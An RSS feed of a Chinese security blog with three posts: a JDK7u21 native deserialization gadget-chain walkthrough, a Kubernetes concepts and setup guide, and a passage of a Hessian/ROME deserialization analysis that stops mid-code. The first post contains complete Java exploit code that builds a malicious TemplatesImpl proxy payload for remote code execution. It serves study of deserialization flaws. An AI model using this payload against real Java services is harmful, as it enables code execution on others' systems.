<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>wele</title><description>wele</description><link>https://fuwari.vercel.app/</link><language>zh_CN</language><item><title>jdk7u21 原生反序列化</title><link>https://fuwari.vercel.app/posts/post16-jdk7u21%E5%8E%9F%E7%94%9F%E9%93%BE/1/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/post16-jdk7u21%E5%8E%9F%E7%94%9F%E9%93%BE/1/</guid><pubDate>Mon, 27 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;jdk7u21&lt;/h3&gt;
&lt;p&gt;不需要任何依赖，只依靠 jdk7u21 源码，调用栈如下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1777294296166.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;核心在于 AnnotationInvocationHandler 类的 equalsImpl 方法，这里会判断 var1 是不是 proxy 实例，如果不是则返回空，继而进入下面的 else 分支，这个 else 分支会触发任意方法调用，var5 是遍历获取当前实例的方法，因此这里会触发一个对象的任意方法，如果该对象是 templatesImpl 类，则会触发到其中的 getOutputProperties 方法，打恶意字节码加载。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1777295004058.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;因此我们先配置好一个恶意 templatesImpl 实例，如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class jdk7u21 {
    public static void main(String[] args)throws Exception {

        byte[] code = Files.readAllBytes(Paths.get(&quot;D:\\tools_D\\java\\java_learn\\cc_chain\\cc3_\\src\\main\\java\\templatesBytes.class&quot;));

        byte[][] evil = new byte[1][];
        evil[0] = code;

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl,&quot;_name&quot;,&quot;evil&quot;);
        setFieldValue(templatesImpl,&quot;_tfactory&quot;,new TransformerFactoryImpl());
        setFieldValue(templatesImpl,&quot;_bytecodes&quot;,evil);

    }
    public static void serilize(Object obj)throws IOException {
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream(&quot;111.bin&quot;));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
    }

    public static void setFieldValue(Object obj,String field,Object value) throws IllegalAccessException, NoSuchFieldException {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来找如何会调用 AnnotationInvocationHandler 类的 invoke 方法，因为该类实现了 InvocationHandler 接口的 invoke 方法，因此当调用代理对象的方法时就会触发该 invoke 方法，并且调用的是 equals 方法，且只有一个 Object 类型的参数，才能调用 equalsImpl(var3[0]) 方法。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1777295309704.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;要调用 equals 方法，可以通过 hashMap 的 put 方法，如果 map.put(k,v) k 的 hash 与 Map 中的对象的 hash 相同，则会触发 key2.equals(key1)，因为 equalsImpl 中反射调用的是 key1 的任意方法，所以 hashmap 第一个放入的必须是 TemplatesImpl 对象，第二个放入 proxy。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1777296237821.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;触发到 代理对象的 equals 方法，进而走到 AnnotationInvocationHandler 类的 invoke 方法，然后就是要想让两个对象的 hash 相同，其中一个是 templatesImpl 对象，它的 hashcode 不可预测，另外一个是 proxy 代理对象的 hashcode ，可以看到如果调用 代理对象的 hashcode 会进入 AnnotationInvocationHandler 类实现的一个方法&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1777298410944.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1777298455635.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里可以看到对 menerValues 的键和值进行异或计算并返回，看网上的文章使用一个 hashcode 计算后为 0 的字符串作为键，这样异或得到的就是值本身的 hashcode 值。&lt;/p&gt;
&lt;p&gt;因此值应该填入构造的 TemplatesImpl 对象，exp 如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class jdk7u21 {
    public static void main(String[] args)throws Exception {

        byte[] code = Files.readAllBytes(Paths.get(&quot;D:\tools_D\java\java_learn\rome\src\main\java\evil.class&quot;));

        byte[][] evil = new byte[1][];
        evil[0] = code;

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl,&quot;_name&quot;,&quot;evil&quot;);
        setFieldValue(templatesImpl,&quot;_tfactory&quot;,new TransformerFactoryImpl());
        setFieldValue(templatesImpl,&quot;_bytecodes&quot;,evil);
        
        HashMap map1 = new HashMap();
        map1.put(&quot;f5a5a608&quot;,templatesImpl);

        Class clz=Class.forName(&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;);
        Constructor c = clz.getDeclaredConstructor(Class.class, Map.class);
        c.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) c.newInstance(Templates.class, map1);
        Templates proxy = (Templates) Proxy.newProxyInstance(templatesImpl.getClass().getClassLoader(), templatesImpl.getClass().getInterfaces(), invocationHandler);

        HashMap map2 = new HashMap();
        map2.put(proxy,1);
        map2.put(templatesImpl,1);

        serilize(map2);
        deserilize(&quot;1.bin&quot;);
    }
    public static void serilize(Object obj)throws IOException {
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream(&quot;1.bin&quot;));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
    }

    public static void setFieldValue(Object obj,String field,Object value) throws IllegalAccessException, NoSuchFieldException {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }


}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也可以使用 hsts 类保证 hash 值相同，但是需要引入新的依赖.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;dependency&amp;gt;
    &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt;
    &amp;lt;artifactId&amp;gt;spring-aop&amp;lt;/artifactId&amp;gt;
    &amp;lt;version&amp;gt;5.2.7.RELEASE&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>k8s</title><link>https://fuwari.vercel.app/posts/k8s/k8s/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/k8s/k8s/</guid><pubDate>Mon, 20 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;k8s（Kubernetes）&lt;/h2&gt;
&lt;h3&gt;k8s 概念&lt;/h3&gt;
&lt;p&gt;​	k8s 是一个容器编排平台，用于自动化部署、扩展、管理容器化应用程序。在现代开发中，为了解决环境不一致导致的各种运行问题，应用通常被打包在 docker 容器中，对于几个 docker 容器，只需要手动管理即可，随着应用规模不断扩大，容器数量不断上涨，如何处理故障，处理项目迭代所需的平滑升级，处理资源分配成为手动管理无法解决的问题，因此引入 k8s 解决这些问题。&lt;/p&gt;
&lt;h3&gt;k8s 核心组件&lt;/h3&gt;
&lt;p&gt;​	k8s 由控制平面和工作节点组成，工作节点托管 Pods，控制平面管理集群中的工作节点和 Pods。&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;QQ_1776775277452.png&quot; alt=&quot;img&quot;  /&amp;gt;&lt;/p&gt;
&lt;h4&gt;kube-api-server&lt;/h4&gt;
&lt;p&gt;​	核心组件服务器，负责暴露 Kubernetes HTTP API,组件之间通过其进行通信。&lt;/p&gt;
&lt;h4&gt;etcd&lt;/h4&gt;
&lt;p&gt;​	分布式键值存储系统，负责存储 k8s 集群的持久化数据，在分布式环境下多个副本之间的数据严格一致。&lt;/p&gt;
&lt;h4&gt;kube-scheduler&lt;/h4&gt;
&lt;p&gt;​	k8s pod 分配的决策中心，为新创建或者还没有分配节点的 pod 分配最合适的运行节点。&lt;/p&gt;
&lt;h4&gt;kube-controller-manager&lt;/h4&gt;
&lt;p&gt;​	内部集成多种控制器，每种控制器实例负责对应的资源的生命周期管理，核心逻辑就是获取实际状态 --&amp;gt; 对比期望状态 --&amp;gt; 纠正偏离。&lt;/p&gt;
&lt;h4&gt;kubelet&lt;/h4&gt;
&lt;p&gt;​	运行在 Node 上的代理程序，负责执行来自控制平台的指令，确保 Node 上的容器状态与 etcd 存储的期望容器状态一致。&lt;/p&gt;
&lt;h4&gt;kube-proxy&lt;/h4&gt;
&lt;p&gt;​	节点上的网络控制核心，通过维护节点上的网络规则，将访问 Service Cluster ip 的流量转发到后端的 Pod 实例上，通过 linux netfilter 框架的 hook 实现，当数据包经过这些 hook 点时触发到相应规则，凡是发到某个 service 的包都要拦截，然后改写目标地址为真实 pod ip 。&lt;/p&gt;
&lt;h4&gt;container runtime&lt;/h4&gt;
&lt;p&gt;镜像管理&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;连接远程镜像仓库，如 Docker Hub。&lt;/li&gt;
&lt;li&gt;pull 镜像并存储在节点本地。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;容器执行&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;创建：根据镜像创建相应环境。&lt;/li&gt;
&lt;li&gt;启动：运行容器内的进程。&lt;/li&gt;
&lt;li&gt;停止/删除：清理进程及临时资源。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;资源隔离与限制：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;调用 Linux 内核的 Namespaces（实现环境隔离，如网络、进程空间）。&lt;/li&gt;
&lt;li&gt;调用 Cgroups（实现资源限制，如限制该容器只能用 1GB 内存）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;交互支持：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;提供容器日志采集、标准输入输出流接入。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;k8s Object&lt;/h3&gt;
&lt;p&gt;​	k8s 对象就是存储在 etcd 中的数据，通过这些数据告诉 k8s 控制平面，我期望 k8s 集群应该是什么样子，k8s 控制平面不断工作调整，使得集群状态和期望状态一致。每个 k8s 对象通常包含 spec 和 status 两个关键字段，前者是你所定义的期望状态，后者是 k8s 观测到的实际状态。无论我们创建什么对象，pod、service、deployment ，其 yaml 文件必须包含以下四个字段 apiVersion、kind、meta、spec，例如&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
apiVersion: apps/v1 # 用的是哪个版本的 Kubernetes API 来创建这个对象
kind: Deployment # 创建的对象类型，pod service ingress deployment 等
metadata: # 元数据
  name: nginx-deployment
spec: # 预期状态
  selector:
    matchLabels:
      app: nginx
  replicas: 2 # tells deployment to run 2 pods matching the template
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx
        image: nginx:1.14.2
        ports:
        - containerPort: 80

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来讲几个基本对象&lt;/p&gt;
&lt;h4&gt;pod&lt;/h4&gt;
&lt;p&gt;​	Pod 类似于一组具有共享命名空间和共享文件系统卷的容器，k8s 中常见用例为一个 pod 一个 container，或者一个 pod 中存放多个 container (这些 container 需要共享资源共同组成一个整体)。k8s 不直接管理容器，而是管理 pod ，pod 是 k8s 最小单元。&lt;/p&gt;
&lt;p&gt;​	下面是一个运行 nginx:1.14.2 的容器组成的 pod，simple-pod.yaml&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
apiVersion: v1
kind: Pod
metadata:
  name: nginx
spec:
  containers:
  - name: nginx
    image: nginx:1.14.2
    ports:
    - containerPort: 80

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;​	要创建上述 pod ，执行 &lt;code&gt;kubectl apply -f simple-pod.yaml&lt;/code&gt; 。但是一般我们不直接创建 pod ,即使是单个 Pod。我们通过 deployment 或是 job resource 去创建 pod ,如果 pod 需要跟踪状态，也可使用 StatefulSet resource，因为单个创建的 pod ，假设它所在节点宕机或是进程崩溃，pod 会彻底消失无法恢复，然而通过 deployment 管理，控制器发现 pod 数目变少会在其他健康节点拉起新的 pod 保证服务。当然不只是这一个作用，还有滚动升级等。接下来讲几个常见的 workload source。&lt;/p&gt;
&lt;h4&gt;Deployment&lt;/h4&gt;
&lt;p&gt;​	通常用来管理一组无状态 pod ，以下是一个示例 nginx-deployment.yaml&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deployment
  labels:
    app: nginx
spec:
  replicas: 3
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx
        image: nginx:1.14.2
        ports:
        - containerPort: 80

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;​	通过 kubectl apply -f nginx-deployment.yaml 创建 deployment ，kubectl get deployments 检查该 deployment 是否创建成功.&lt;/p&gt;
&lt;p&gt;​	当我们要更新 pod 内应用程序版本时，例如更新 nginx 版本从 1.14.2 - 1.16.1 ，需要通过  kubectl set image deployment/nginx-deployment nginx=nginx:1.16.1 实现，查看更新状态使用 kubectl rollout status deployment/deploymentName。&lt;/p&gt;
&lt;p&gt;​	如果上线新版本出现故障需要回滚到旧版本，通常 kubectl rollout history deployment/nginx-deployment 先获取更新历史，输出内容大致如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
deployments &quot;nginx-deployment&quot;
REVISION    CHANGE-CAUSE
1           &amp;lt;none&amp;gt;
2           &amp;lt;none&amp;gt;
3           &amp;lt;none&amp;gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以通过  --to-revision=2 指定操作版本，例如查看版本 2 详细信息，kubectl rollout history deployment/nginx-deployment --revision=2，回滚到版本 2 ，kubectl rollout undo deployment/nginx-deployment --to-revision=2&lt;/p&gt;
&lt;p&gt;其余详细内容见  https://kubernetes.io/docs/concepts/workloads/controllers/deployment/&lt;/p&gt;
&lt;h4&gt;StatefulSets&lt;/h4&gt;
&lt;p&gt;​	和 deployment 类似，管理一组有相同容器规范的 pods ，不同的是 statefulSets 会为每个 pod 维护一个身份，每个 pod 都是独一无二的。&lt;/p&gt;
&lt;p&gt;​	局限性，更新时可能出现故障导致需要手动操作修复；当 StatefulSets 被删除时 ，pod 不一定终止，因此在删除前需要先将 replicas 指定为 0。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
apiVersion: v1
kind: Service
metadata:
  name: nginx
  labels:
    app: nginx
spec:
  ports:
  - port: 80
    name: web
  clusterIP: None
  selector:
    app: nginx
---
apiVersion: apps/v1
kind: StatefulSet
metadata:
  name: web
spec:
  selector:
    matchLabels:
      app: nginx 
  serviceName: &quot;nginx&quot;
  replicas: 3 
  minReadySeconds: 10 
  template:
    metadata:
      labels:
        app: nginx 
    spec:
      terminationGracePeriodSeconds: 10
      containers:
      - name: nginx
        image: registry.k8s.io/nginx-slim:0.24
        ports:
        - containerPort: 80
          name: web
        volumeMounts:
        - name: www
          mountPath: /usr/share/nginx/html
  volumeClaimTemplates:
  - metadata:
      name: www
    spec:
      accessModes: [ &quot;ReadWriteOnce&quot; ]
      storageClassName: &quot;my-storage-class&quot;
      resources:
        requests:
          storage: 1Gi
          
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;除此之外，还有 DaemonSet, Job/CronJob .... （我没怎么用过）&lt;/p&gt;
&lt;h4&gt;service&lt;/h4&gt;
&lt;p&gt;​	对于一些为其他 pods 提供服务的 pods ,暂且称为 前端 pods 后端 pods ，每个 pod 都有自己的 IP 地址，并且后端 pods 因为某些故障重启之后 IP 会随之改变，那么前端 pods 如何寻找为其提供服务的后端 pods ，为此引入 service。svc 可以通过 selectot 的 label 定位与之相关联的 pods，也可以不使用 selector ，这通常允许 svc 将流量转发到集群外部（例如访问外部数据库）。&lt;/p&gt;
&lt;p&gt;​	&lt;strong&gt;工作原理&lt;/strong&gt; ： 如果 svc 定义了 selector ，k8s 控制平面的 kube-controller-manager 中的 Endpoints Controller 会自动寻找匹配标签的 pods，并将它们的 ip 填入 EndpointSlice。所以对于哪些没定义 selector 的 svc ,我们可以手动创建一个 EndpointSlice 对象，声明流量应该发往哪些 Ip。 kube-proxy 将 EndpointSlice 转换为 linux 指令，通过 iptabes 将规则注入内核中。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
apiVersion: v1
kind: Service
metadata:
  name: v1-service
spec:
  selector:
    app.kubernetes.io/name: web-app        # 必须与 Pod 的 Label 一致
  ports:
    - protocol: TCP
      port: 80             # Service 暴露的端口（集群内访问端口）
      targetPort: 8080     # Pod 中容器监听的端口

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
apiVersion: v1
kind: Service
metadata:
  name: service_one
spec:
  ports:
    - name: http_port
      protocol: TCP
      port: 80
      targetPort: 8080

---
apiVersion: discovery.k8s.io/v1
kind: EndpointSlice
metadata:
  name: my-service-1                      
  labels:
    # should set the &quot;kubernetes.io/service-name&quot; label.
    # Set its value to match the name of the Service
    kubernetes.io/service-name: service_one
addressType: IPv4
ports:
  - name: http_port
    appProtocol: http
    protocol: TCP
    port: 8080
endpoints:
  - addresses:
      - &quot;10.0.0.6&quot;
  - addresses:
      - &quot;10.0.0.3&quot;
      
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;​	了解 netfilter 可以知道，有 5 个 hook 点（好像是，记不太清了），设置 service ip 为目标地址，进入网络协议栈之后，假设在某个 hook 点触发了规则，将 service ip 改为真实 pod ip，数据包就会发往这个 pod ip ，但是如果我们在 endpints 中再次填写一个 service ip ,由于数据包不会重新从顶层再次向底层流动，所以不能触发 service 的流量转发规则，导致数据包发送失败，因此 endpoints 中必须填真实可达 ip。&lt;/p&gt;
&lt;p&gt;​	service type 有以下几种，NodePort、LoadBanlancer、ExterName。&lt;/p&gt;
&lt;p&gt;​	默认类型就是 clusterIP （上面讲的就是），很明显 ClusterIP 是一个虚拟 IP 地址，实际并不存在这样的一个网卡或者物理设备，因此也无法暴露服务到公网，只能保证内网通信，pod 之间的通信。NodePort 模式相当于在 clusterIp 的基础之上为每个 Node 分配一个高位 port (30000-32676)，外网可以通过 NodeIP:port 访问内部服务，LoadBalancer 模式类似，在 NodePort 的基础上，云厂商创建一个真实的 LB 实例，外部流量 --&amp;gt; LB 实例 --&amp;gt; NodeIP:NodePort --&amp;gt; ClusterIP --&amp;gt; Pod IP，LB 只需知道 NodeIP，其余的流量分发逻辑，转发至 service 下的哪个 pod 交给 kube-proxy 处理。ExterName 跟不指定 selector 差不多，后者是通过 Ip 访问外部服务，ExterName 模式是通过域名访问外部服务。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
apiVersion: v1
kind: Service
metadata:
  name: external-db
spec:
  type: ExternalName
  externalName: www.xxx.com  # 外部真实的域名地址
  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;剩下的还有一些无头服务的概念（我没用到过这种场景，大家有需要的看一下吧）&lt;/p&gt;
&lt;h4&gt;ingress&lt;/h4&gt;
&lt;p&gt;​	前面我们提到 service 可以使用 LB 将服务暴露至公网，那为什么不使用这个方案？因为一个 service 对应一个 LB ，每个 service 都需要要一个 LB 设备导致成本变高，引入 ingress ，将发送到不同路径的请求转发到不同的 service ，例如 http://www.xxx.com/api  转发到 api-service ，http://www.xxx.com/dashboard 转发到 dashboard-service ，这样一个 LB 一个公网 ip ，域名即可支持多个 service。&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;QQ_1776868119211.png&quot; alt=&quot;img&quot;  /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: my-app-ingress
  annotations:
    # 各种注解，用于实现 Ingress 原生不支持的一些功能，每个厂商之间都不太一样，导致很混乱
    nginx.ingress.kubernetes.io/proxy-body-size: &quot;10m&quot;
    nginx.ingress.kubernetes.io/ssl-redirect: &quot;true&quot;
spec:
  rules: 
  - host: api.example.com
    http:
      paths:
      - path: /v1(/|$)(.*)
        pathType: ImplementationSpecific
        backend:
          service:
            name: v1-service
            port:
              number: 80
              
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Gateway API&lt;/h4&gt;
&lt;p&gt;不是原生 k8s 支持的对象，需要先安装 CRDs&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kubectl apply -f https://github.com/kubernetes-sigs/gateway-api/releases/download/v1.3.0/standard-install.yaml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;gateway api 将其拆解为三个相互关联的对象&lt;/p&gt;
&lt;p&gt;GatewayClass 指定使用什么技术实现网关，例如 nginx envoy ......&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: gateway.networking.k8s.io/v1
kind: GatewayClass
metadata:
  name: nginx_1
spec:
  controllerName: nginx.org/nginx-gateway-controller
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Gateway 定义流量从哪里进来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
  name: nginx-gateway
spec:
  gatewayClassName: nginx_1
  listeners:
  - name: http
    port: 80 # 监听该网关所在公网 IP 的 80 端口
    protocol: HTTP
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;HttpRoute 定义流量怎么分发到相应的 svc&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: example-route
spec:
  parentRefs:
  - name: nginx-gateway # 引用上文的网关 meta.name ，不同的 svc 可以引用不同的 meta.name 继而实现开发者可以自定义路由规则，配置业务路径。
  hostnames:
  - &quot;example.com&quot; # 匹配 hdr 为 example.com
  rules:
  - matches:
    - path:
        type: PathPrefix
        value: /
    backendRefs:
    - name: example-service # 流量最终转发到的目标 Service 名称
      port: 80 # 目标 Service 暴露的端口
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;可视化插件&lt;/h3&gt;
&lt;p&gt;https://github.com/kubernetes-retired/dashboard#kubernetes-dashboard，&lt;/p&gt;
&lt;p&gt;https://github.com/eip-work/kuboard-press，&lt;/p&gt;
&lt;p&gt;可视化应该更方便一些。&lt;/p&gt;
&lt;h3&gt;k8s 环境搭建&lt;/h3&gt;
&lt;p&gt;配置系统环境&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 1. 临时禁用 Swap，永久禁用需修改 /etc/fstab 注释掉 swap 行
sudo swapoff -a
sudo sed -i &apos;/swap/s/^/#/&apos; /etc/fstab

# 2. 修改主机名
sudo hostnamectl set-hostname master-node

# 3. 配置内核参数，允许转发流量
cat &amp;lt;&amp;lt;EOF | sudo tee /etc/modules-load.d/k8s.conf
overlay
br_netfilter
EOF

sudo modprobe overlay
sudo modprobe br_netfilter

cat &amp;lt;&amp;lt;EOF | sudo tee /etc/sysctl.d/k8s.conf
net.bridge.bridge-nf-call-iptables  = 1
net.bridge.bridge-nf-call-ip6tables = 1
net.ipv4.ip_forward                 = 1
EOF

sudo sysctl --system
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装 containerd kubeadm kubectl kubelet&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
sudo apt-get update
sudo apt-get install -y containerd

# 生成默认配置并修改 SystemdCgroup
sudo mkdir -p /etc/containerd
containerd config default | sudo tee /etc/containerd/config.toml
sudo sed -i &apos;s/SystemdCgroup = false/SystemdCgroup = true/g&apos; /etc/containerd/config.toml

# 重启服务
sudo systemctl restart containerd
sudo systemctl enable containerd

sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install -y apt-transport-https
curl -fsSL https://mirrors.aliyun.com/kubernetes-new/core/stable/v1.30/deb/Release.key | sudo gpg --dearmor -o /etc/apt/keyrings/kubernetes-apt-keyring.gpg

echo &quot;deb [signed-by=/etc/apt/keyrings/kubernetes-apt-keyring.gpg] https://mirrors.aliyun.com/kubernetes-new/core/stable/v1.30/deb/ /&quot; | sudo tee /etc/apt/sources.list.d/kubernetes.list

sudo apt-get update
sudo apt-get install -y kubelet kubeadm kubectl
sudo apt-mark hold kubelet kubeadm kubectl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;到这里 master 节点使用 kubeadm 初始化集群&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo kubeadm init \
  --apiserver-advertise-address=&amp;lt;Master内网IP&amp;gt; \
  --image-repository registry.aliyuncs.com/google_containers \
  --kubernetes-version v1.30.0 \
  --pod-network-cidr=10.244.0.0/16


mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装网络插件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kubectl create -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.3/manifests/tigera-operator.yaml
kubectl create -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.3/manifests/custom-resources.yaml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而工作节点需要&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo kubeadm join &amp;lt;Master-IP&amp;gt;:6443 --token &amp;lt;token&amp;gt; \
    --discovery-token-ca-cert-hash sha256:&amp;lt;hash&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以上内容在 master 节点使用 kubeadm token create --print-join-command 得到。&lt;/p&gt;
&lt;p&gt;工作节点加入后，在主节点通过  kubectl get nodes 可以看到。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1776948572646.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;参考链接&lt;/p&gt;
&lt;p&gt;https://tttang.com/archive/1465/#toc_k8s_1&lt;/p&gt;
&lt;p&gt;https://kubernetes.feisky.xyz/&lt;/p&gt;
&lt;p&gt;https://kuboard.cn/&lt;/p&gt;
</content:encoded></item><item><title>Hessian 反序列化</title><link>https://fuwari.vercel.app/posts/post15-hessian/hessian/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/post15-hessian/hessian/</guid><pubDate>Tue, 07 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h4&gt;hessian 反序列化&lt;/h4&gt;
&lt;p&gt;反序列化 HashMap 对象，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1775453142248.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;readType() 返回的 type 为 &quot;&quot;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1775453159154.png&quot; alt=&quot;img&quot; /&gt; 继续跟进 readMap , new 一个 map 反序列化器&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1775453208487.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;继续跟进 map 反序列化器的 readMap&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1775453264082.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里调用了 map.put(key,value),存在一条 gadget&lt;/p&gt;
&lt;p&gt;readObject --&amp;gt; map.put(key,value) --&amp;gt; hash(key) --&amp;gt; hashcode(key)&lt;/p&gt;
&lt;p&gt;入口方法为 &lt;code&gt;hashCode()&lt;/code&gt;、&lt;code&gt;equals()&lt;/code&gt; 或 &lt;code&gt;compareTo()&lt;/code&gt;。&lt;/p&gt;
&lt;h5&gt;hessian  rome 二次反序列化&lt;/h5&gt;
&lt;p&gt;rome 链子主要是 toString() 方法会触发 getter 方法&lt;/p&gt;
&lt;p&gt;然后 hessian 反序列化会调用 key.hashcode()  --&amp;gt; ObjectBean.hashcode() --&amp;gt; this._equalsBean.beanHashCode() --&amp;gt; EqualsBean._obj.toString() 这里的  EqualsBean._obj 是 ToStringBean&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class ObjectBean implements Serializable, Cloneable {
    private EqualsBean _equalsBean;
    private ToStringBean _toStringBean;
    private CloneableBean _cloneableBean;

    public ObjectBean(Class beanClass, Object obj) {
        this(beanClass, obj, (Set)null);
    }

    public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) {
        this._equalsBean = new EqualsBean(beanClass, obj);
        this._toStringBean = new ToStringBean(beanClass, obj);
        this._cloneableBean = new CloneableBean(obj, ignoreProperties);
    }

